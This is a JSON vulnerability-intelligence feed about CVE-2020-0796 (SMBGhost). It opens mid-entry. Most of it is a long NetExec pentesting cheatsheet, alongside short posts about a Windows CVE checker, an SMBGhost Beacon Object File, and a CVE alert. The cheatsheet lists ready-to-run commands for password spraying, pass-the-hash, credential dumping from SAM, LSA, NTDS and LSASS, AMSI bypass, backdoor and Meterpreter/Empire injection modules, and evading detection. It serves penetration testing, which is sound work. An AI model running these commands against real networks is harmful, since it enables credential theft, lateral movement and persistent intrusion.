-u admin -p pass -d DOMAIN\nnxc wmi 192.168.1.10 -u admin -p pass --local-auth\nnxc wmi 192.168.1.10 -u admin -p pass --rpc-timeout 5\n```\n\n### WMI Queries\n```bash\nnxc wmi 192.168.1.10 -u admin -p pass --wmi \"SELECT * FROM Win32_Process\"\nnxc wmi 192.168.1.10 -u admin -p pass --wmi \"SELECT * FROM Win32_Service\"\nnxc wmi 192.168.1.10 -u admin -p pass --wmi \"SELECT * FROM Win32_ComputerSystem\"\nnxc wmi 192.168.1.10 -u admin -p pass --wmi-namespace \"root\\cimv2\"\n```\n\n### Command Execution\n```bash\nnxc wmi 192.168.1.10 -u admin -p pass -x \"whoami\"\nnxc wmi 192.168.1.10 -u admin -p pass --exec-method wmiexec -x \"whoami\"\nnxc wmi 192.168.1.10 -u admin -p pass --exec-method wmiexec-event -x \"whoami\"\nnxc wmi 192.168.1.10 -u admin -p pass --exec-timeout 10\nnxc wmi 192.168.1.10 -u admin -p pass --no-output -x \"command\"\n```\n\n### WMI Modules\n\n#### LOW PRIVILEGE MODULES\n```bash\nnxc wmi 192.168.1.10 -u user -p pass -M ioxidresolver              # Additional interfaces\nnxc wmi 192.168.1.10 -u user -p pass -M spooler                    # Print spooler\nnxc wmi 192.168.1.10 -u user -p pass -M zerologon                  # Zerologon check\n```\n\n#### HIGH PRIVILEGE MODULES\n```bash\nnxc wmi 192.168.1.10 -u admin -p pass -M bitlocker                 # BitLocker status\nnxc wmi 192.168.1.10 -u admin -p pass -M enum_dns                  # DNS records\nnxc wmi 192.168.1.10 -u admin -p pass -M get_netconnections        # Network connections\nnxc wmi 192.168.1.10 -u admin -p pass -M rdp -o ACTION=enable      # Enable RDP\nnxc wmi 192.168.1.10 -u admin -p pass -M rdp -o ACTION=disable     # Disable RDP\n```\n\n---\n\n## General Flags & Options\n\n### Threading & Performance\n```bash\n-t 256                       # Number of threads (default: 256)\n--timeout 10                 # Connection timeout in seconds\n--jitter 5                   # Random delay between requests (seconds)\n```\n\n### Output & Logging\n```bash\n--verbose                    # Verbose output\n--debug                      # Debug mode\n--log output.log             # Save output to file\n--no-progress                # Disable progress bar\n```\n\n### DNS Options\n```bash\n-6                           # Force IPv6\n--dns-server 8.8.8.8         # Custom DNS server\n--dns-tcp                    # Use TCP for DNS queries\n--dns-timeout 3              # DNS timeout in seconds\n```\n\n### Credential Database\n```bash\n-id 1                        # Use credential ID from database\n-id 1 2 3                    # Use multiple credential IDs\n```\n\n### Server Options\n```bash\n--server https               # Use HTTPS server (default)\n--server http                # Use HTTP server\n--server-host 0.0.0.0        # Bind server to IP\n--server-port 8000           # Server port\n--connectback-host IP        # Connectback IP for remote system\n```\n\n### Database\n```bash\ncmedb                        # Access NXC database\nexport smb                   # Export SMB results\n```\n\n### Modules\n```bash\nnxc smb -L                              # List all SMB modules\nnxc smb -M  --options           # Show module options\n```\n\n---\n\n## Common Attack Workflows\n\n### 1. Initial Enumeration\n```bash\n# Find hosts and check SMB signing\nnxc smb 192.168.1.0/24 --gen-relay-list relay.txt\n\n# Anonymous/Guest enumeration\nnxc smb 192.168.1.0/24 -u '' -p ''\nnxc smb 192.168.1.0/24 -u 'guest' -p ''\n\n# Check multiple protocols\nnxc smb 192.168.1.0/24\nnxc rdp 192.168.1.0/24 -u '' -p ''\nnxc winrm 192.168.1.0/24 -u '' -p ''\n```\n\n### 2. Password Spraying\n```bash\n# Single password spray (safe)\nnxc smb targets.txt -u users.txt -p 'Winter2024!' -d DOMAIN --continue-on-success\n\n# With fail limits\nnxc smb targets.txt -u users.txt -p passwords.txt --ufail-limit 3 --fail-limit 5\n\n# Check valid creds across multiple protocols\nnxc smb 192.168.1.10 -u admin -p pass\nnxc winrm 192.168.1.10 -u admin -p pass\nnxc mssql 192.168.1.10 -u admin -p pass\nnxc rdp 192.168.1.10 -u admin -p pass\n```\n\n### 3. Credential Dumping\n```bash\n# Local SAM\nnxc smb 192.168.1.10 -u admin -p pass --sam\n\n# LSASS memory\nnxc smb 192.168.1.10 -u admin -p pass -M lsassy\nnxc smb 192.168.1.10 -u admin -p pass -M nanodump\n\n# Domain Controller NTDS\nnxc smb dc01.domain.local -u admin -p pass --ntds\nnxc smb dc01.domain.local -u admin -p pass --ntds --enabled\n\n# DPAPI\nnxc smb 192.168.1.10 -u admin -p pass --dpapi cookies\n```\n\n### 4. Domain Enumeration\n```bash\n# Users and groups\nnxc ldap dc01.domain.local -u user -p pass --users --groups\n\n# Kerberoastable accounts\nnxc ldap dc01.domain.local -u user -p pass --kerberoasting kerberoast.txt\n\n# ASREProastable accounts\nnxc ldap dc01.domain.local -u user -p pass --asreproast asrep.txt\n\n# Bloodhound data\nnxc ldap dc01.domain.local -u user -p pass --bloodhound -c All\n\n# Find vulnerabilities\nnxc ldap dc01.domain.local -u user -p pass -M adcs\nnxc ldap dc01.domain.local -u user -p pass -M laps\n```\n\n### 5. Lateral Movement\n```bash\n# Pass-the-Hash\nnxc smb targets.txt -u admin -H  -x \"hostname\"\n\n# Execute on multiple targets\nnxc smb targets.txt -u admin -p pass -x \"whoami\"\nnxc winrm targets.txt -u admin -p pass -x \"ipconfig\"\n\n# Spray hashes\nnxc smb targets.txt -u users.txt -H hashes.txt --continue-on-success\n```\n\n### 6. Post-Exploitation\n```bash\n# Persistence\nnxc smb 192.168.1.10 -u admin -p pass -M rdp -o ACTION=enable\nnxc smb 192.168.1.10 -u admin -p pass -M wdigest -o ACTION=enable\n\n# Credential hunting\nnxc smb 192.168.1.10 -u admin -p pass -M spider_plus\nnxc smb 192.168.1.10 -u admin -p pass -M gpp_password\nnxc smb 192.168.1.10 -u admin -p pass -M keepass_discover\n\n# Application credentials\nnxc smb 192.168.1.10 -u admin -p pass -M putty\nnxc smb 192.168.1.10 -u admin -p pass -M winscp\nnxc smb 192.168.1.10 -u admin -p pass -M wifi\n```\n\n---\n\n## Tips & Best Practices\n\n- Use `--continue-on-success` for password spraying to find all valid credentials\n- Use `--no-bruteforce` to stop after first valid credential per host (avoid lockouts)\n- Add `--jitter` to introduce random delays and avoid detection\n- Use `--ufail-limit` and `--fail-limit` to prevent account lockouts\n- Check SMB signing with basic scan before relay attacks\n- Use LDAP for domain enumeration (less noisy than SMB)\n- Pass-the-Hash only needs NTLM hash (not LM)\n- Always specify `-d DOMAIN` or `--local-auth` explicitly\n- Use `cmedb` to review all findings in the database\n- Module options: `-M module_name -o OPTION=value`\n- Rate limit yourself to avoid account lockouts and detection\n- Use `--no-progress` when logging output to files\n- Test authentication across multiple protocols (SMB, WinRM, RDP, MSSQL)\n\n---\n\n## Resources\n\n- **GitHub**: https://github.com/Pennyw0rth/NetExec\n- **Wiki**: https://www.netexec.wiki/\n- **Modules**: https://www.netexec.wiki/getting-started/using-modules", "creation_timestamp": "2026-05-26T06:17:22.000000Z"}, {"uuid": "ef1ffb01-e93c-48f2-bbd1-932a84f8b9bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/wh_lab/59", "content": "\ud83d\uddbc\ufe0f \ud83d\udd04 Moriarty v1.2\n\n\u0427\u0435\u043a\u0435\u0440 CVEs \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 C# \u0434\u043b\u044f \u041e\u0421 \ud83c\udfe0 Windows\n\n\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438:\n\nWindows 10 (Versions: 1507, 1511, 1607, 1703, 1709, 1803, 1809, 1903, 1909, 2004, 20H2, 21H1, 21H2, 22H1, 22H2)\nWindows 11 (Versions: 21H2, 22H1, 22H2, 23H1)\nWindows Server 2016, 2019, 2022\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (35):\n\nMS10-015\nMS10-092\nMS13-053\nMS13-081\nMS14-058\nMS15-051\nMS15-078\nMS16-016\nMS16-032\nMS16-034\nMS16-135\nCVE-2017-7199\nCVE-2019-0836\nCVE-2019-0836\nCVE-2019-1064\nCVE-2019-1130\nCVE-2019-1253\nCVE-2019-1315\nCVE-2019-1385\nCVE-2019-1388\nCVE-2019-1405\nCVE-2020-0668\nCVE-2020-0683\nCVE-2020-0796\nCVE-2020-1013\nCVE-2020-1013\nCVE-2021-26855\nCVE-2021-26857\nCVE-2021-26858\nCVE-2021-27065\nCVE-2021-44228\nCVE-2021-36934\nCVE-2022-40140\nCVE-2022-22965\nCVE-2023-36664\n\n1.2 added:\n2023-23397\n2022-34718\n\n\ud83d\udc49 \u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\n\u0422\u0430\u043a\u0436\u0435 \u0431\u043e\u0442 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0438\u0441\u043a \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u043f\u043e CVE\n\n!poc CVE-2019-1064\n\n\ud83d\udcbb Home\n\n\u0414\u043b\u044f \u0441\u0431\u043e\u0440\u043a\u0438 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f Visual Studio \u0438 .NET Framework 4.8 Developer Pack\n\n#moriarty #checker #csharp\n\n\u2708\ufe0f Whitehat Lab", "creation_timestamp": "2026-08-05T00:00:40.249306Z"}, {"uuid": "1528a157-77c0-438f-aab0-8520756447a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/c0baltstrike/223", "content": "CVE-2020-0796 (SMBGhost) as a Beacon Object File\n\nhttps://www.youtube.com/watch?v=HrYtctprUUc\n\nhttps://github.com/rsmudge/CVE-2020-0796-BOF", "creation_timestamp": "2026-08-05T00:00:45.393534Z"}, {"uuid": "0e628a5f-e7ac-4683-9d5b-553de263b021", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3msuofuiown2r", "content": "\ud83c\udf11 HADAL \u00b7 actively exploited critical\nCVE-2020-0796: A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles c\u2026\nCVSS 10 \u00b7 EPSS 99.8% \u00b7 CISA KEV\nhttps://beta.vulnsea.com/cve/CVE-2020-0796\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-08-12T08:08:29.159067Z"}, {"uuid": "74ac7308-d5e2-4a45-bf83-4ab0c728d50e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://gist.github.com/KelvinLaw-jpg/471bd205c3f0b81954cad330a7025a92", "content": "# NXC (NetExec) Cheatsheet\n\nComplete reference for NetExec (NXC) - the network execution tool for pentesting\n\n> **Version Note**: This cheatsheet is based on the latest NetExec version. Always check `nxc  --help` and `nxc  -L` for your specific version.\n\n## Installation\n```bash\npipx install netexec\n# or\napt install netexec\n```\n\n## Basic Syntax\n\n`nxc   -u  -p  / -H  [flags] -M  -o `\n\n---\n\n## Protocols Overview\n\n- `smb` - SMB/CIFS (Port 445)\n- `ldap` - LDAP (Port 389/636)\n- `winrm` - WinRM (Port 5985/5986)\n- `ssh` - SSH (Port 22)\n- `rdp` - RDP (Port 3389)\n- `mssql` - Microsoft SQL Server (Port 1433)\n- `ftp` - FTP (Port 21)\n- `wmi` - WMI (Port 135)\n- `vnc` - VNC (Port 5900)\n- `nfs` - NFS (Port 111)\n\n---\n\n## Target Specification\n```bash\nnxc smb 192.168.1.10                    # Single host\nnxc smb 192.168.1.0/24                  # CIDR range\nnxc smb 192.168.1.1-100                 # Range\nnxc smb targets.txt                     # File with targets (one per line)\n```\n\n---\n\n## Password Spraying\n\n### Pattern: protocol targets.txt users.txt passwords.txt\n\n```bash\n# Domain authentication (default)\nnxc smb targets.txt -u users.txt -p passwords.txt -d DOMAIN\n\n# Local authentication\nnxc smb targets.txt -u users.txt -p passwords.txt --local-auth\n\n# Continue on success (don't stop after first valid)\nnxc smb targets.txt -u users.txt -p passwords.txt --continue-on-success\n\n# Stop on first success per target\nnxc smb targets.txt -u users.txt -p passwords.txt --no-bruteforce\n\n# Single password spray (safer for avoiding lockouts)\nnxc smb targets.txt -u users.txt -p 'Password123!' -d DOMAIN --continue-on-success\n\n# With jitter to avoid detection\nnxc smb targets.txt -u users.txt -p passwords.txt --jitter 5\n\n# Fail limit options\nnxc smb targets.txt -u users.txt -p passwords.txt --gfail-limit 10     # Global fail limit\nnxc smb targets.txt -u users.txt -p passwords.txt --ufail-limit 3      # Per-user fail limit\nnxc smb targets.txt -u users.txt -p passwords.txt --fail-limit 5       # Per-host fail limit\n```\n\n---\n\n## No Authentication\n\n```bash\n# Null session (empty username)\nnxc smb 192.168.1.10 -u '' -p ''\n\n# Guest account\nnxc smb 192.168.1.10 -u 'guest' -p ''\n\n# Anonymous LDAP bind\nnxc ldap 192.168.1.10 -u '' -p ''\n\n# Enumerate without credentials\nnxc smb 192.168.1.0/24 --gen-relay-list relay.txt    # SMB signing check\n```\n\n---\n\n## Authentication Methods\n\n### Username and Password\n```bash\nnxc smb 192.168.1.10 -u admin -p 'password'\nnxc smb 192.168.1.10 -u admin -p 'password' -d DOMAIN\nnxc smb 192.168.1.10 -u admin -p 'password' --local-auth\n```\n\n### Pass-the-Hash\n```bash\nnxc smb 192.168.1.10 -u admin -H \nnxc smb 192.168.1.10 -u admin -H \nnxc smb 192.168.1.10 -u admin -H  -d DOMAIN\n```\n\n### Kerberos Authentication\n```bash\n# With password\nnxc smb 192.168.1.10 -u admin -p 'password' -d DOMAIN -k\n\n# Using cached ticket (ccache)\nnxc smb 192.168.1.10 -u admin --use-kcache -k\n\n# With AES key\nnxc smb 192.168.1.10 -u admin --aesKey  -k\n\n# Specify KDC\nnxc smb 192.168.1.10 -u admin -p 'password' -d DOMAIN -k --kdcHost dc01.domain.local\n```\n\n### Certificate Authentication\n```bash\n# PFX certificate\nnxc smb 192.168.1.10 --pfx-cert cert.pfx --pfx-pass password\n\n# PEM certificate\nnxc smb 192.168.1.10 --pem-cert cert.pem --pem-key key.pem\n```\n\n---\n\n## SMB Protocol (Port 445)\n\n### Basic Enumeration (No Auth)\n```bash\nnxc smb 192.168.1.0/24                              # Check SMB version, signing\nnxc smb 192.168.1.0/24 --gen-relay-list relay.txt  # Find relay targets\n```\n\n### Enumeration (With Auth)\n```bash\nnxc smb 192.168.1.10 -u user -p pass --shares              # List shares\nnxc smb 192.168.1.10 -u user -p pass --shares --filter-shares read,write  # Filter by access\nnxc smb 192.168.1.10 -u user -p pass --dir \"C$\"            # List directory contents\nnxc smb 192.168.1.10 -u user -p pass --users               # Enumerate users\nnxc smb 192.168.1.10 -u user -p pass --users --enabled     # Only enabled users\nnxc smb 192.168.1.10 -u user -p pass --users-export out.txt  # Export users to file\nnxc smb 192.168.1.10 -u user -p pass --groups              # Enumerate groups\nnxc smb 192.168.1.10 -u user -p pass --computers           # Enumerate computers\nnxc smb 192.168.1.10 -u user -p pass --local-groups        # Local groups\nnxc smb 192.168.1.10 -u user -p pass --pass-pol            # Password policy\nnxc smb 192.168.1.10 -u user -p pass --smb-sessions        # Active SMB sessions\nnxc smb 192.168.1.10 -u user -p pass --disks               # Enumerate disks\nnxc smb 192.168.1.10 -u user -p pass --interfaces          # Network interfaces\nnxc smb 192.168.1.10 -u user -p pass --loggedon-users      # Logged on users\nnxc smb 192.168.1.10 -u user -p pass --rid-brute           # RID cycling\nnxc smb 192.168.1.10 -u user -p pass --qwinsta             # RDP connections\nnxc smb 192.168.1.10 -u user -p pass --tasklist            # Running processes\n```\n\n### WMI Queries\n```bash\nnxc smb 192.168.1.10 -u admin -p pass --wmi \"SELECT * FROM Win32_Process\"\nnxc smb 192.168.1.10 -u admin -p pass --wmi \"SELECT * FROM Win32_Service\" --wmi-namespace \"root\\cimv2\"\n```\n\n### Spidering Shares\n```bash\nnxc smb 192.168.1.10 -u admin -p pass --spider C$\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --spider-folder Users\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --pattern password\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --regex \".*\\.txt$\"\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --content       # Search file content\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --depth 3       # Max recursion depth\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --only-files    # Files only\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --exclude-dirs Windows,System32\n```\n\n### Command Execution\n```bash\nnxc smb 192.168.1.10 -u admin -p pass -x \"whoami\"                    # CMD\nnxc smb 192.168.1.10 -u admin -p pass -X '$PSVersionTable'           # PowerShell\nnxc smb 192.168.1.10 -u admin -p pass --exec-method smbexec -x \"whoami\"\nnxc smb 192.168.1.10 -u admin -p pass --exec-method atexec -x \"whoami\"\nnxc smb 192.168.1.10 -u admin -p pass --exec-method wmiexec -x \"whoami\"\nnxc smb 192.168.1.10 -u admin -p pass --exec-method mmcexec -x \"whoami\"\nnxc smb 192.168.1.10 -u admin -p pass --no-output -x \"command\"       # Don't retrieve output\n```\n\n### PowerShell Options\n```bash\nnxc smb 192.168.1.10 -u admin -p pass -X '$PSVersionTable' --obfs          # Obfuscate\nnxc smb 192.168.1.10 -u admin -p pass -X 'command' --amsi-bypass bypass.ps1\nnxc smb 192.168.1.10 -u admin -p pass -X 'command' --force-ps32            # Force 32-bit\nnxc smb 192.168.1.10 -u admin -p pass -X 'command' --no-encode             # Don't encode\nnxc smb 192.168.1.10 -u admin -p pass --clear-obfscripts                   # Clear cache\n```\n\n### File Operations\n```bash\nnxc smb 192.168.1.10 -u admin -p pass --get-file \"\\\\Windows\\\\Temp\\\\file.txt\" ./local.txt\nnxc smb 192.168.1.10 -u admin -p pass --put-file ./payload.exe \"\\\\Windows\\\\Temp\\\\payload.exe\"\nnxc smb 192.168.1.10 -u admin -p pass --get-file \"\\\\file.txt\" ./out.txt --append-host\n```\n\n### Credential Dumping\n```bash\n# SAM Database\nnxc smb 192.168.1.10 -u admin -p pass --sam                        # Default method\nnxc smb 192.168.1.10 -u admin -p pass --sam secdump                # Using secdump\nnxc smb 192.168.1.10 -u admin -p pass --sam regdump                # Using regdump\n\n# LSA Secrets\nnxc smb 192.168.1.10 -u admin -p pass --lsa                        # Default method\nnxc smb 192.168.1.10 -u admin -p pass --lsa secdump                # Using secdump\nnxc smb 192.168.1.10 -u admin -p pass --lsa regdump                # Using regdump\n\n# NTDS (Domain Controller)\nnxc smb dc01.domain.local -u admin -p pass --ntds                  # Default (drsuapi)\nnxc smb dc01.domain.local -u admin -p pass --ntds vss              # Using VSS\nnxc smb dc01.domain.local -u admin -p pass --ntds drsuapi          # Using drsuapi\nnxc smb dc01.domain.local -u admin -p pass --ntds --user admin     # Specific user\nnxc smb dc01.domain.local -u admin -p pass --ntds --enabled        # Enabled accounts only\n\n# DPAPI\nnxc smb 192.168.1.10 -u admin -p pass --dpapi                      # Dump DPAPI\nnxc smb 192.168.1.10 -u admin -p pass --dpapi cookies              # Include cookies\nnxc smb 192.168.1.10 -u admin -p pass --dpapi nosystem             # Exclude SYSTEM\nnxc smb 192.168.1.10 -u admin -p pass --dpapi --mkfile masterkeys.txt\nnxc smb 192.168.1.10 -u admin -p pass --dpapi --pvk backupkey.pvk\n\n# SCCM\nnxc smb 192.168.1.10 -u admin -p pass --sccm                       # Default (wmi)\nnxc smb 192.168.1.10 -u admin -p pass --sccm wmi                   # Using WMI\nnxc smb 192.168.1.10 -u admin -p pass --sccm disk                  # Using disk\n```\n\n### SMB Modules\n\n#### LOW PRIVILEGE MODULES\n```bash\n# Vulnerability Checks\nnxc smb 192.168.1.10 -u user -p pass -M ms17-010                   # EternalBlue\nnxc smb 192.168.1.10 -u user -p pass -M zerologon                  # CVE-2020-1472\nnxc smb 192.168.1.10 -u user -p pass -M nopac                      # CVE-2021-42278/42287\nnxc smb 192.168.1.10 -u user -p pass -M printnightmare             # PrintNightmare\nnxc smb 192.168.1.10 -u user -p pass -M remove-mic                 # CVE-2019-1040\nnxc smb 192.168.1.10 -u user -p pass -M smbghost                   # CVE-2020-0796\nnxc smb 192.168.1.10 -u user -p pass -M coerce_plus                # Coercion vulns\nnxc smb 192.168.1.10 -u user -p pass -M timeroast                  # Timeroasting\n\n# Enumeration\nnxc smb 192.168.1.10 -u user -p pass -M enum_av                    # AV products\nnxc smb 192.168.1.10 -u user -p pass -M enum_ca                    # ADCS CAs\nnxc smb 192.168.1.10 -u user -p pass -M ioxidresolver              # Additional interfaces\nnxc smb 192.168.1.10 -u user -p pass -M spooler                    # Print spooler\nnxc smb 192.168.1.10 -u user -p pass -M webdav                     # WebClient service\nnxc smb 192.168.1.10 -u user -p pass -M spider_plus                # Spider shares\nnxc smb 192.168.1.10 -u user -p pass -M spider_plus -o READ_ONLY=false\n\n# Password Hunting\nnxc smb 192.168.1.10 -u user -p pass -M gpp_password               # GPP passwords\nnxc smb 192.168.1.10 -u user -p pass -M gpp_autologin              # GPP autologin\n\n# Backdoors\nnxc smb 192.168.1.10 -u user -p pass -M drop-sc                    # Drop searchConnector\nnxc smb 192.168.1.10 -u user -p pass -M scuffy                     # Drop .scf files\nnxc smb 192.168.1.10 -u user -p pass -M slinky                     # Create LNK backdoors\n\n# Computer Management\nnxc smb 192.168.1.10 -u user -p pass -M add-computer               # Add/delete computer\nnxc smb 192.168.1.10 -u user -p pass -M backup_operator            # Backup operator exploit\n```\n\n#### HIGH PRIVILEGE MODULES (requires admin)\n```bash\n# Credential Dumping\nnxc smb 192.168.1.10 -u admin -p pass -M lsassy                    # LSASS dump\nnxc smb 192.168.1.10 -u admin -p pass -M nanodump                  # Alternative LSASS\nnxc smb 192.168.1.10 -u admin -p pass -M procdump                  # Process dump\nnxc smb 192.168.1.10 -u admin -p pass -M handlekatz                # Handle dump\nnxc smb 192.168.1.10 -u admin -p pass -M dpapi_hash                # DPAPI masterkeys\nnxc smb 192.168.1.10 -u admin -p pass -M hash_spider               # Recursive LSASS\nnxc smb 192.168.1.10 -u admin -p pass -M ntdsutil                  # NTDS with ntdsutil\n\n# Application Credentials\nnxc smb 192.168.1.10 -u admin -p pass -M keepass_discover          # Find KeePass\nnxc smb 192.168.1.10 -u admin -p pass -M keepass_trigger           # KeePass trigger\nnxc smb 192.168.1.10 -u admin -p pass -M mobaxterm                 # MobaXterm creds\nnxc smb 192.168.1.10 -u admin -p pass -M mremoteng                 # mRemoteNG creds\nnxc smb 192.168.1.10 -u admin -p pass -M putty                     # PuTTY keys\nnxc smb 192.168.1.10 -u admin -p pass -M rdcman                    # RDCMan creds\nnxc smb 192.168.1.10 -u admin -p pass -M winscp                    # WinSCP creds\nnxc smb 192.168.1.10 -u admin -p pass -M vnc                       # VNC passwords\nnxc smb 192.168.1.10 -u admin -p pass -M wifi                      # WiFi passwords\nnxc smb 192.168.1.10 -u admin -p pass -M veeam                     # Veeam DB creds\nnxc smb 192.168.1.10 -u admin -p pass -M msol                      # Azure AD Connect\nnxc smb 192.168.1.10 -u admin -p pass -M teams_localdb             # Teams SSO cookie\nnxc smb 192.168.1.10 -u admin -p pass -M wam                       # Token Broker Cache\n\n# Enumeration\nnxc smb 192.168.1.10 -u admin -p pass -M enum_dns                  # DNS records (WMI)\nnxc smb 192.168.1.10 -u admin -p pass -M get_netconnections        # Network connections\nnxc smb 192.168.1.10 -u admin -p pass -M bitlocker                 # BitLocker status\nnxc smb 192.168.1.10 -u admin -p pass -M hyperv-host               # HyperV host\nnxc smb 192.168.1.10 -u admin -p pass -M iis                       # IIS app pool creds\nnxc smb 192.168.1.10 -u admin -p pass -M install_elevated          # AlwaysInstallElevated\nnxc smb 192.168.1.10 -u admin -p pass -M ntlmv1                    # NTLMv1 enabled\nnxc smb 192.168.1.10 -u admin -p pass -M runasppl                  # RunAsPPL status\nnxc smb 192.168.1.10 -u admin -p pass -M uac                       # UAC status\nnxc smb 192.168.1.10 -u admin -p pass -M wcc                       # Security config\nnxc smb 192.168.1.10 -u admin -p pass -M security-questions        # Security Q&A\n\n# File Operations\nnxc smb 192.168.1.10 -u admin -p pass -M notepad++                 # Unsaved files\nnxc smb 192.168.1.10 -u admin -p pass -M powershell_history        # PS history\nnxc smb 192.168.1.10 -u admin -p pass -M recent_files              # Recent files\nnxc smb 192.168.1.10 -u admin -p pass -M snipped                   # Snipping Tool\n\n# Persistence & Execution\nnxc smb 192.168.1.10 -u admin -p pass -M empire_exec               # Empire agent\nnxc smb 192.168.1.10 -u admin -p pass -M met_inject                # Meterpreter\nnxc smb 192.168.1.10 -u admin -p pass -M web_delivery              # Web delivery\nnxc smb 192.168.1.10 -u admin -p pass -M impersonate               # Token impersonation\nnxc smb 192.168.1.10 -u admin -p pass -M pi                        # Process injection\nnxc smb 192.168.1.10 -u admin -p pass -M schtask_as                # Scheduled task\n\n# Configuration Changes\nnxc smb 192.168.1.10 -u admin -p pass -M rdp -o ACTION=enable      # Enable RDP\nnxc smb 192.168.1.10 -u admin -p pass -M rdp -o ACTION=disable     # Disable RDP\nnxc smb 192.168.1.10 -u admin -p pass -M shadowrdp                 # Shadow RDP\nnxc smb 192.168.1.10 -u admin -p pass -M wdigest -o ACTION=enable  # Enable WDigest\nnxc smb 192.168.1.10 -u admin -p pass -M remote-uac                # Remote UAC\n\n# Registry Operations\nnxc smb 192.168.1.10 -u admin -p pass -M reg-query                 # Registry query\nnxc smb 192.168.1.10 -u admin -p pass -M reg-winlogon              # Winlogon creds\n\n# Utility\nnxc smb 192.168.1.10 -u admin -p pass -M test_connection           # Test connectivity\n```\n\n---\n\n## LDAP Protocol (Port 389/636)\n\n### Basic Enumeration\n```bash\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --users           # Enumerate all users\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --users user123   # Specific user\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --users-export out.txt\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --groups          # Enumerate all groups\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --groups \"Domain Admins\"\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --computers       # Enumerate computers\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --dc-list         # List DCs\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --get-sid         # Get domain SID\n```\n\n### Advanced Queries\n```bash\nnxc ldap 192.168.1.10 -u user -p pass --admin-count               # adminCount=1 users\nnxc ldap 192.168.1.10 -u user -p pass --trusted-for-delegation    # Trusted delegation\nnxc ldap 192.168.1.10 -u user -p pass --password-not-required     # Empty passwords allowed\nnxc ldap 192.168.1.10 -u user -p pass --active-users              # Active accounts only\nnxc ldap 192.168.1.10 -u user -p pass --find-delegation           # Delegation relationships\n\n# GMSA\nnxc ldap 192.168.1.10 -u user -p pass --gmsa                       # Enumerate GMSA\nnxc ldap 192.168.1.10 -u user -p pass --gmsa-convert-id gmsa_name\nnxc ldap 192.168.1.10 -u user -p pass --gmsa-decrypt-lsa lsa_data\n\n# Custom LDAP Query\nnxc ldap 192.168.1.10 -u user -p pass --query \"(objectClass=user)\" \"cn,sAMAccountName\"\nnxc ldap 192.168.1.10 -u user -p pass --base-dn \"OU=Users,DC=domain,DC=local\"\n```\n\n### Kerberoasting & ASREPRoasting\n```bash\nnxc ldap 192.168.1.10 -u user -p pass --kerberoasting output.txt\nnxc ldap 192.168.1.10 -u user -p pass --asreproast output.txt\n```\n\n### Bloodhound Collection\n```bash\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound -c All\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound -c Default\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound -c DCOnly\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound -c Session,LoggedOn\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound -c Group,LocalAdmin,ACL\n```\n\n### LDAP Modules\n\n#### LOW PRIVILEGE MODULES\n```bash\nnxc ldap 192.168.1.10 -u user -p pass -M adcs                      # Find ADCS/PKI\nnxc ldap 192.168.1.10 -u user -p pass -M daclread                  # Read DACLs\nnxc ldap 192.168.1.10 -u user -p pass -M enum_trusts               # Trust relationships\nnxc ldap 192.168.1.10 -u user -p pass -M find-computer             # Find computers\nnxc ldap 192.168.1.10 -u user -p pass -M get-desc-users            # User descriptions\nnxc ldap 192.168.1.10 -u user -p pass -M get-network               # DNS records/IPs\nnxc ldap 192.168.1.10 -u user -p pass -M get-unixUserPassword      # Unix passwords\nnxc ldap 192.168.1.10 -u user -p pass -M get-userPassword          # User passwords\nnxc ldap 192.168.1.10 -u user -p pass -M groupmembership           # User group membership\nnxc ldap 192.168.1.10 -u user -p pass -M laps                      # LAPS passwords\nnxc ldap 192.168.1.10 -u user -p pass -M ldap-checker              # LDAP 